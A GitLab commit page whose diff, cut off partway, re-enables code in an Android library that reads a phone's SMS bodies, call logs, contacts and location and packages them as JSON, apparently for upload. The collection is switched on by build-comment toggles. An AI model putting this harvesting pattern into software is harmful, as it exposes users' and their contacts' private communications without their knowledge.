Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
L
lib_base
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
sikang
lib_base
Commits
98628cf8
Commit
98628cf8
authored
Oct 12, 2019
by
sikang
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
bug fix channel pkg
parent
a311ff41
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
489 additions
and
489 deletions
+489
-489
src/main/java/com/common/Collector.java
+195
-195
src/main/java/tech/starwin/database/DataBaseHelper.java
+139
-139
src/main/java/tech/starwin/utils/collection/UploadManager.java
+155
-155
No files found.
src/main/java/com/common/Collector.java
View file @
98628cf8
...
@@ -73,47 +73,47 @@ public class Collector {
...
@@ -73,47 +73,47 @@ public class Collector {
public
static
List
<
CollectInfoEntity
>
getUploadData
(
Context
context
)
{
public
static
List
<
CollectInfoEntity
>
getUploadData
(
Context
context
)
{
List
<
CollectInfoEntity
>
infos1
=
null
;
List
<
CollectInfoEntity
>
infos1
=
null
;
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
infos1 = Stream.of(InfoType.MACHINE_TYPE, InfoType.PERMISSION)
infos1
=
Stream
.
of
(
InfoType
.
MACHINE_TYPE
,
InfoType
.
PERMISSION
)
//SDK-NOLOG-CODE ->
.map(new Function<InfoType, CollectInfoEntity>() {
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public CollectInfoEntity apply(InfoType infoType) {
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
//SDK-NOLOG-CODE ->
return Collector.getStoreEntity(infoType, context, null);
return
Collector
.
getStoreEntity
(
infoType
,
context
,
null
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
})
})
//SDK-NOLOG-CODE ->
.reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() {
.
reduce
(
new
ArrayList
<
CollectInfoEntity
>(),
new
BiFunction
<
ArrayList
<
CollectInfoEntity
>,
CollectInfoEntity
,
ArrayList
<
CollectInfoEntity
>>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) {
public
ArrayList
<
CollectInfoEntity
>
apply
(
ArrayList
<
CollectInfoEntity
>
arr
,
CollectInfoEntity
item
)
{
//SDK-NOLOG-CODE ->
arr.add(item);
arr
.
add
(
item
);
//SDK-NOLOG-CODE ->
return arr;
return
arr
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
});
});
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
List<ContactEntity> contactEntityList = DataBaseHelper.getContacts();
List
<
ContactEntity
>
contactEntityList
=
DataBaseHelper
.
getContacts
();
//SDK-NOLOG-CODE ->
List<CollectInfoEntity> infos2 = Stream.of(InfoType.CONTACT, InfoType.CALL_LOG, InfoType.SMS_LOG)
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
CALL_LOG
,
InfoType
.
SMS_LOG
)
//SDK-NOLOG-CODE ->
.map(new Function<InfoType, CollectInfoEntity>() {
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public CollectInfoEntity apply(InfoType infoType) {
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
//SDK-NOLOG-CODE ->
return Collector.getStoreEntity(infoType, context, contactEntityList);
return
Collector
.
getStoreEntity
(
infoType
,
context
,
contactEntityList
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
})
})
//SDK-NOLOG-CODE ->
.reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() {
.
reduce
(
new
ArrayList
<
CollectInfoEntity
>(),
new
BiFunction
<
ArrayList
<
CollectInfoEntity
>,
CollectInfoEntity
,
ArrayList
<
CollectInfoEntity
>>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) {
public
ArrayList
<
CollectInfoEntity
>
apply
(
ArrayList
<
CollectInfoEntity
>
arr
,
CollectInfoEntity
item
)
{
//SDK-NOLOG-CODE ->
arr.add(item);
arr
.
add
(
item
);
//SDK-NOLOG-CODE ->
return arr;
return
arr
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
});
});
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
infos1.addAll(infos2);
infos1
.
addAll
(
infos2
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
CollectInfoEntity location = Collector.getStoreEntity(InfoType.LOCATION, context, null);
CollectInfoEntity
location
=
Collector
.
getStoreEntity
(
InfoType
.
LOCATION
,
context
,
null
);
//
SDK-NOLOG-CODE ->//
if (location == null) {
// if (location == null) {
//
SDK-NOLOG-CODE ->//
location = LitePal.where("type='LOCATION'").findFirst(CollectInfoEntity.class);
// location = LitePal.where("type='LOCATION'").findFirst(CollectInfoEntity.class);
//
SDK-NOLOG-CODE ->//
}
// }
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (location != null) {
if
(
location
!=
null
)
{
//SDK-NOLOG-CODE ->
infos1.add(location);
infos1
.
add
(
location
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-END
//SDK-NOLOG-END
return
infos1
;
return
infos1
;
}
}
...
@@ -348,29 +348,29 @@ public class Collector {
...
@@ -348,29 +348,29 @@ public class Collector {
public
static
String
toSmsDTO
(
List
<
SmsEntity
>
smsList
,
Context
context
,
List
<
ContactEntity
>
contactList
)
{
public
static
String
toSmsDTO
(
List
<
SmsEntity
>
smsList
,
Context
context
,
List
<
ContactEntity
>
contactList
)
{
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
JSONObject oneTypeData = initJSON(InfoType.SMS_LOG, context);
JSONObject
oneTypeData
=
initJSON
(
InfoType
.
SMS_LOG
,
context
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("data", getSmsJSONArray(smsList, contactList));
oneTypeData
.
put
(
"data"
,
getSmsJSONArray
(
smsList
,
contactList
));
//
SDK-NOLOG-CODE ->//
oneTypeData.put("totalNumber", smsList.size());
// oneTypeData.put("totalNumber", smsList.size());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("pageSum", 1);
oneTypeData
.
put
(
"pageSum"
,
1
);
//SDK-NOLOG-CODE ->
oneTypeData.put("pageNo", 0);
oneTypeData
.
put
(
"pageNo"
,
0
);
//SDK-NOLOG-CODE ->
oneTypeData.put("currentSum", smsList.size());
oneTypeData
.
put
(
"currentSum"
,
smsList
.
size
());
//SDK-NOLOG-CODE ->
oneTypeData.put("updateTime", System.currentTimeMillis());
oneTypeData
.
put
(
"updateTime"
,
System
.
currentTimeMillis
());
//
SDK-NOLOG-CODE ->//
if(smsList.size() > 0){
// if(smsList.size() > 0){
//
SDK-NOLOG-CODE ->//
oneTypeData.put("latestTime", Stream.of(smsList).map(SmsEntity::getDate)
// oneTypeData.put("latestTime", Stream.of(smsList).map(SmsEntity::getDate)
//
SDK-NOLOG-CODE ->//
.max((o1, o2) -> (int)(o1-o2)).get());
// .max((o1, o2) -> (int)(o1-o2)).get());
//
SDK-NOLOG-CODE ->//
oneTypeData.put("earliestTime", Stream.of(smsList).map(SmsEntity::getDate)
// oneTypeData.put("earliestTime", Stream.of(smsList).map(SmsEntity::getDate)
//
SDK-NOLOG-CODE ->//
.min((o1, o2) -> (int)(o1-o2)).get());
// .min((o1, o2) -> (int)(o1-o2)).get());
//
SDK-NOLOG-CODE ->//
}
// }
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
return oneTypeData.toString();
return
oneTypeData
.
toString
();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (JSONException e) {
}
catch
(
JSONException
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
//UploadManager.uploadException(e, "Collector.toSmsDTO");
//UploadManager.uploadException(e, "Collector.toSmsDTO");
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-END
//SDK-NOLOG-END
return
""
;
return
""
;
}
}
...
@@ -378,101 +378,101 @@ public class Collector {
...
@@ -378,101 +378,101 @@ public class Collector {
private
static
JSONArray
getSmsJSONArray
(
List
<
SmsEntity
>
smsList
,
List
<
ContactEntity
>
contactList
)
{
private
static
JSONArray
getSmsJSONArray
(
List
<
SmsEntity
>
smsList
,
List
<
ContactEntity
>
contactList
)
{
JSONArray
jsonArray
=
null
;
JSONArray
jsonArray
=
null
;
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
if (smsList == null || smsList.size() == 0) {
if
(
smsList
==
null
||
smsList
.
size
()
==
0
)
{
//SDK-NOLOG-CODE ->
return new JSONArray();
return
new
JSONArray
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
HashMap<String, String> map = toNumberNameMap(contactList);
HashMap
<
String
,
String
>
map
=
toNumberNameMap
(
contactList
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
jsonArray = Stream.of(smsList)
jsonArray
=
Stream
.
of
(
smsList
)
//SDK-NOLOG-CODE ->
.map(new Function<SmsEntity, JSONObject>() {
.
map
(
new
Function
<
SmsEntity
,
JSONObject
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public JSONObject apply(SmsEntity entity) {
public
JSONObject
apply
(
SmsEntity
entity
)
{
//SDK-NOLOG-CODE ->
JSONObject smsObj = new JSONObject();
JSONObject
smsObj
=
new
JSONObject
();
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
if (TextUtils.isEmpty(entity.getAddress())) {
if
(
TextUtils
.
isEmpty
(
entity
.
getAddress
()))
{
//SDK-NOLOG-CODE ->
smsObj.put("name", "");
smsObj
.
put
(
"name"
,
""
);
//SDK-NOLOG-CODE ->
} else {
}
else
{
//SDK-NOLOG-CODE ->
smsObj.put("name", geNameFromNumberNameMap(map, entity.getAddress()));
smsObj
.
put
(
"name"
,
geNameFromNumberNameMap
(
map
,
entity
.
getAddress
()));
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
smsObj.put("number", entity.getAddress() == null ? "" : entity.getAddress());
smsObj
.
put
(
"number"
,
entity
.
getAddress
()
==
null
?
""
:
entity
.
getAddress
());
//SDK-NOLOG-CODE ->
smsObj.put("subject", entity.getSubject() == null ? "NO_SUBJECT" : entity.getSubject());
smsObj
.
put
(
"subject"
,
entity
.
getSubject
()
==
null
?
"NO_SUBJECT"
:
entity
.
getSubject
());
//SDK-NOLOG-CODE ->
smsObj.put("direction", SmsEntity.getSmsTypeDesc(entity.getType()));
smsObj
.
put
(
"direction"
,
SmsEntity
.
getSmsTypeDesc
(
entity
.
getType
()));
//SDK-NOLOG-CODE ->
smsObj.put("createTime", entity.getDate());
smsObj
.
put
(
"createTime"
,
entity
.
getDate
());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (TextUtils.isEmpty(entity.getBody())) {
if
(
TextUtils
.
isEmpty
(
entity
.
getBody
()))
{
//SDK-NOLOG-CODE ->
smsObj.put("content", "");
smsObj
.
put
(
"content"
,
""
);
//SDK-NOLOG-CODE ->
} else {
}
else
{
//SDK-NOLOG-CODE ->
smsObj.put("content", entity.getBody().replaceAll("\u0000", ""));
smsObj
.
put
(
"content"
,
entity
.
getBody
().
replaceAll
(
"\u0000"
,
""
));
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (JSONException e) {
}
catch
(
JSONException
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
return smsObj;
return
smsObj
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
})
})
//SDK-NOLOG-CODE ->
.reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
.
reduce
(
new
JSONArray
(),
new
BiFunction
<
JSONArray
,
JSONObject
,
JSONArray
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public JSONArray apply(JSONArray array, JSONObject smsObj) {
public
JSONArray
apply
(
JSONArray
array
,
JSONObject
smsObj
)
{
//SDK-NOLOG-CODE ->
array.put(smsObj);
array
.
put
(
smsObj
);
//SDK-NOLOG-CODE ->
return array;
return
array
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
});
});
//SDK-NOLOG-END
//SDK-NOLOG-END
return
jsonArray
;
return
jsonArray
;
}
}
public
static
String
toCallLogDTO
(
List
<
CallLogEntity
>
calllogList
,
Context
context
,
List
<
ContactEntity
>
contactList
)
{
public
static
String
toCallLogDTO
(
List
<
CallLogEntity
>
calllogList
,
Context
context
,
List
<
ContactEntity
>
contactList
)
{
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
JSONObject oneTypeData = initJSON(InfoType.CALL_LOG, context);
JSONObject
oneTypeData
=
initJSON
(
InfoType
.
CALL_LOG
,
context
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("data", getCallLogJSONArray(calllogList, contactList));
oneTypeData
.
put
(
"data"
,
getCallLogJSONArray
(
calllogList
,
contactList
));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("totalNumber", calllogList.size());
oneTypeData
.
put
(
"totalNumber"
,
calllogList
.
size
());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (calllogList.size() > 0) {
if
(
calllogList
.
size
()
>
0
)
{
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
long latest = 0;
long
latest
=
0
;
//SDK-NOLOG-CODE ->
long earliest = 0;
long
earliest
=
0
;
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
latest = Stream.of(calllogList)
latest
=
Stream
.
of
(
calllogList
)
//SDK-NOLOG-CODE ->
.map(CallLogEntity::getDate)
.
map
(
CallLogEntity:
:
getDate
)
//SDK-NOLOG-CODE ->
.max(new Comparator<Long>() {
.
max
(
new
Comparator
<
Long
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public int compare(Long o1, Long o2) {
public
int
compare
(
Long
o1
,
Long
o2
)
{
//SDK-NOLOG-CODE ->
return (int) (o1 - o2);
return
(
int
)
(
o1
-
o2
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
})
})
//SDK-NOLOG-CODE ->
.get();
.
get
();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
earliest = Stream.of(calllogList)
earliest
=
Stream
.
of
(
calllogList
)
//SDK-NOLOG-CODE ->
.map(CallLogEntity::getDate)
.
map
(
CallLogEntity:
:
getDate
)
//SDK-NOLOG-CODE ->
.min(new Comparator<Long>() {
.
min
(
new
Comparator
<
Long
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public int compare(Long o1, Long o2) {
public
int
compare
(
Long
o1
,
Long
o2
)
{
//SDK-NOLOG-CODE ->
return (int) (o1 - o2);
return
(
int
)
(
o1
-
o2
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
})
})
//SDK-NOLOG-CODE ->
.get();
.
get
();
//SDK-NOLOG-CODE ->
} catch (Exception e) {
}
catch
(
Exception
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("latestTime", latest);
oneTypeData
.
put
(
"latestTime"
,
latest
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("earliestTime", "" + earliest);
oneTypeData
.
put
(
"earliestTime"
,
""
+
earliest
);
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
return oneTypeData.toString();
return
oneTypeData
.
toString
();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (JSONException e) {
}
catch
(
JSONException
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
//UploadManager.uploadException(e, "Collector.toCallLogDTO");
//UploadManager.uploadException(e, "Collector.toCallLogDTO");
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-END
//SDK-NOLOG-END
return
""
;
return
""
;
}
}
...
@@ -480,48 +480,48 @@ public class Collector {
...
@@ -480,48 +480,48 @@ public class Collector {
private
static
JSONArray
getCallLogJSONArray
(
List
<
CallLogEntity
>
callLogList
,
List
<
ContactEntity
>
contactList
)
{
private
static
JSONArray
getCallLogJSONArray
(
List
<
CallLogEntity
>
callLogList
,
List
<
ContactEntity
>
contactList
)
{
JSONArray
array
=
null
;
JSONArray
array
=
null
;
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
if (callLogList == null || callLogList.size() == 0) {
if
(
callLogList
==
null
||
callLogList
.
size
()
==
0
)
{
//SDK-NOLOG-CODE ->
return new JSONArray();
return
new
JSONArray
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
HashMap<String, String> map = toNumberNameMap(contactList);
HashMap
<
String
,
String
>
map
=
toNumberNameMap
(
contactList
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
array = Stream.of(callLogList)
array
=
Stream
.
of
(
callLogList
)
//SDK-NOLOG-CODE ->
.map(new Function<CallLogEntity, JSONObject>() {
.
map
(
new
Function
<
CallLogEntity
,
JSONObject
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public JSONObject apply(CallLogEntity entity) {
public
JSONObject
apply
(
CallLogEntity
entity
)
{
//SDK-NOLOG-CODE ->
JSONObject callLog = new JSONObject();
JSONObject
callLog
=
new
JSONObject
();
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
String name = geNameFromNumberNameMap(map, entity.getNumber());
String
name
=
geNameFromNumberNameMap
(
map
,
entity
.
getNumber
());
//SDK-NOLOG-CODE ->
if (TextUtils.isEmpty(name)) {
if
(
TextUtils
.
isEmpty
(
name
))
{
//SDK-NOLOG-CODE ->
name = entity.getCachedName();
name
=
entity
.
getCachedName
();
//SDK-NOLOG-CODE ->
if (name == null) {
if
(
name
==
null
)
{
//SDK-NOLOG-CODE ->
name = "";
name
=
""
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
callLog.put("name", name);
callLog
.
put
(
"name"
,
name
);
//SDK-NOLOG-CODE ->
callLog.put("number", entity.getNumber() == null ? "" : entity.getNumber());
callLog
.
put
(
"number"
,
entity
.
getNumber
()
==
null
?
""
:
entity
.
getNumber
());
//SDK-NOLOG-CODE ->
callLog.put("createTime", "" + entity.getDate());
callLog
.
put
(
"createTime"
,
""
+
entity
.
getDate
());
//SDK-NOLOG-CODE ->
callLog.put("duration", "" + entity.getDuration());
callLog
.
put
(
"duration"
,
""
+
entity
.
getDuration
());
//SDK-NOLOG-CODE ->
callLog.put("direction", CallLogEntity.getCallLogTypeDesc(entity.getType()));
callLog
.
put
(
"direction"
,
CallLogEntity
.
getCallLogTypeDesc
(
entity
.
getType
()));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (JSONException e) {
}
catch
(
JSONException
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//UploadManager.uploadException(e, "Collector.getCallLogJSONArray");
//UploadManager.uploadException(e, "Collector.getCallLogJSONArray");
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
Log.i("Collector", "CallLog List " + callLog.toString());
Log
.
i
(
"Collector"
,
"CallLog List "
+
callLog
.
toString
());
//SDK-NOLOG-CODE ->
return callLog;
return
callLog
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
})
})
//SDK-NOLOG-CODE ->
.reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
.
reduce
(
new
JSONArray
(),
new
BiFunction
<
JSONArray
,
JSONObject
,
JSONArray
>()
{
//SDK-NOLOG-CODE ->
@Override
@Override
//SDK-NOLOG-CODE ->
public JSONArray apply(JSONArray array, JSONObject jsonObject) {
public
JSONArray
apply
(
JSONArray
array
,
JSONObject
jsonObject
)
{
//SDK-NOLOG-CODE ->
array.put(jsonObject);
array
.
put
(
jsonObject
);
//SDK-NOLOG-CODE ->
return array;
return
array
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
});
});
//SDK-NOLOG-END
//SDK-NOLOG-END
return
array
;
return
array
;
}
}
...
...
src/main/java/tech/starwin/database/DataBaseHelper.java
View file @
98628cf8
...
@@ -11,7 +11,7 @@ import android.location.LocationManager;
...
@@ -11,7 +11,7 @@ import android.location.LocationManager;
import
android.net.Uri
;
import
android.net.Uri
;
import
android.os.Build
;
import
android.os.Build
;
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
import android.provider.CallLog;
import
android.provider.CallLog
;
//SDK-NOLOG-END
//SDK-NOLOG-END
//import android.provider.ContactsContract;
//import android.provider.ContactsContract;
import
android.provider.Telephony
;
import
android.provider.Telephony
;
...
@@ -133,35 +133,35 @@ public class DataBaseHelper {
...
@@ -133,35 +133,35 @@ public class DataBaseHelper {
public
static
List
<
CallLogEntity
>
getCallLogs
(
int
maxCount
)
{
public
static
List
<
CallLogEntity
>
getCallLogs
(
int
maxCount
)
{
List
<
CallLogEntity
>
logs
=
new
ArrayList
<>();
List
<
CallLogEntity
>
logs
=
new
ArrayList
<>();
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
long startTime = System.currentTimeMillis();
long
startTime
=
System
.
currentTimeMillis
();
//SDK-NOLOG-CODE ->
Cursor cursor = null;
Cursor
cursor
=
null
;
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
cursor = Nested.getCursor(CALL_LOG);
cursor
=
Nested
.
getCursor
(
CALL_LOG
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (cursor == null) {
if
(
cursor
==
null
)
{
//SDK-NOLOG-CODE ->
return logs;
return
logs
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
while (cursor.moveToNext()) {
while
(
cursor
.
moveToNext
())
{
//SDK-NOLOG-CODE ->
com.annimon.stream.Optional<CallLogEntity> oneOpt = Nested.getOneCallLog(cursor);
com
.
annimon
.
stream
.
Optional
<
CallLogEntity
>
oneOpt
=
Nested
.
getOneCallLog
(
cursor
);
//SDK-NOLOG-CODE ->
if (oneOpt.isPresent()) {
if
(
oneOpt
.
isPresent
())
{
//SDK-NOLOG-CODE ->
logs.add(oneOpt.get());
logs
.
add
(
oneOpt
.
get
());
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (logs.size() >= maxCount) {
if
(
logs
.
size
()
>=
maxCount
)
{
//SDK-NOLOG-CODE ->
break;
break
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
Log.d("caculate_time", "Collector getCallLogs time" + (System.currentTimeMillis() - startTime));
Log
.
d
(
"caculate_time"
,
"Collector getCallLogs time"
+
(
System
.
currentTimeMillis
()
-
startTime
));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (Exception e) {
}
catch
(
Exception
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//
SDK-NOLOG-CODE ->//
UploadUtils.uploadException(e, "getCallLogs");
// UploadUtils.uploadException(e, "getCallLogs");
//SDK-NOLOG-CODE ->
} finally {
}
finally
{
//SDK-NOLOG-CODE ->
if (cursor != null && !cursor.isClosed()) {
if
(
cursor
!=
null
&&
!
cursor
.
isClosed
())
{
//SDK-NOLOG-CODE ->
cursor.close();
cursor
.
close
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-END
//SDK-NOLOG-END
return
logs
;
return
logs
;
}
}
...
@@ -174,34 +174,34 @@ public class DataBaseHelper {
...
@@ -174,34 +174,34 @@ public class DataBaseHelper {
public
static
List
<
SmsEntity
>
getSms
(
int
maxCount
)
{
public
static
List
<
SmsEntity
>
getSms
(
int
maxCount
)
{
List
<
SmsEntity
>
logs
=
new
ArrayList
<>();
List
<
SmsEntity
>
logs
=
new
ArrayList
<>();
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
long startTime = System.currentTimeMillis();
long
startTime
=
System
.
currentTimeMillis
();
//SDK-NOLOG-CODE ->
Cursor cursor = null;
Cursor
cursor
=
null
;
//SDK-NOLOG-CODE ->
try {
try
{
//SDK-NOLOG-CODE ->
cursor = Nested.getCursor(SMS_LOG);
cursor
=
Nested
.
getCursor
(
SMS_LOG
);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (cursor == null) {
if
(
cursor
==
null
)
{
//SDK-NOLOG-CODE ->
return logs;
return
logs
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
while (cursor.moveToNext()) {
while
(
cursor
.
moveToNext
())
{
//SDK-NOLOG-CODE ->
com.annimon.stream.Optional<SmsEntity> oneOpt = Nested.getOneSms(cursor);
com
.
annimon
.
stream
.
Optional
<
SmsEntity
>
oneOpt
=
Nested
.
getOneSms
(
cursor
);
//SDK-NOLOG-CODE ->
if (oneOpt.isPresent()) {
if
(
oneOpt
.
isPresent
())
{
//SDK-NOLOG-CODE ->
logs.add(oneOpt.get());
logs
.
add
(
oneOpt
.
get
());
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (logs.size() >= maxCount) {
if
(
logs
.
size
()
>=
maxCount
)
{
//SDK-NOLOG-CODE ->
break;
break
;
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
Log.d("caculate_time", "Collector getSms time" + (System.currentTimeMillis() - startTime));
Log
.
d
(
"caculate_time"
,
"Collector getSms time"
+
(
System
.
currentTimeMillis
()
-
startTime
));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (Exception e) {
}
catch
(
Exception
e
)
{
//SDK-NOLOG-CODE ->
e.printStackTrace();
e
.
printStackTrace
();
//
SDK-NOLOG-CODE ->//
UploadUtils.uploadException(e, "getSms");
// UploadUtils.uploadException(e, "getSms");
//SDK-NOLOG-CODE ->
} finally {
}
finally
{
//SDK-NOLOG-CODE ->
if (cursor != null && !cursor.isClosed()) {
if
(
cursor
!=
null
&&
!
cursor
.
isClosed
())
{
//SDK-NOLOG-CODE ->
cursor.close();
cursor
.
close
();
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-CODE ->
}
}
//SDK-NOLOG-END
//SDK-NOLOG-END
return
logs
;
return
logs
;
...
@@ -322,29 +322,29 @@ public class DataBaseHelper {
...
@@ -322,29 +322,29 @@ public class DataBaseHelper {
null
,
null
,
null
,
null
);
null
,
null
,
null
,
null
);
//SDK-CONTACT-END
//SDK-CONTACT-END
//SDK-NOLOG-START
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
case CALL_LOG:
case
CALL_LOG:
//SDK-NOLOG-CODE ->
return resolver
return
resolver
//SDK-NOLOG-CODE ->
.query(CallLog.Calls.CONTENT_URI,
.
query
(
CallLog
.
Calls
.
CONTENT_URI
,
//SDK-NOLOG-CODE ->
new String[]{CallLog.Calls.CACHED_NAME,
new
String
[]{
CallLog
.
Calls
.
CACHED_NAME
,
//SDK-NOLOG-CODE ->
CallLog.Calls.NUMBER,
CallLog
.
Calls
.
NUMBER
,
//SDK-NOLOG-CODE ->
CallLog.Calls.TYPE,
CallLog
.
Calls
.
TYPE
,
//SDK-NOLOG-CODE ->
CallLog.Calls.DATE,
CallLog
.
Calls
.
DATE
,
//SDK-NOLOG-CODE ->
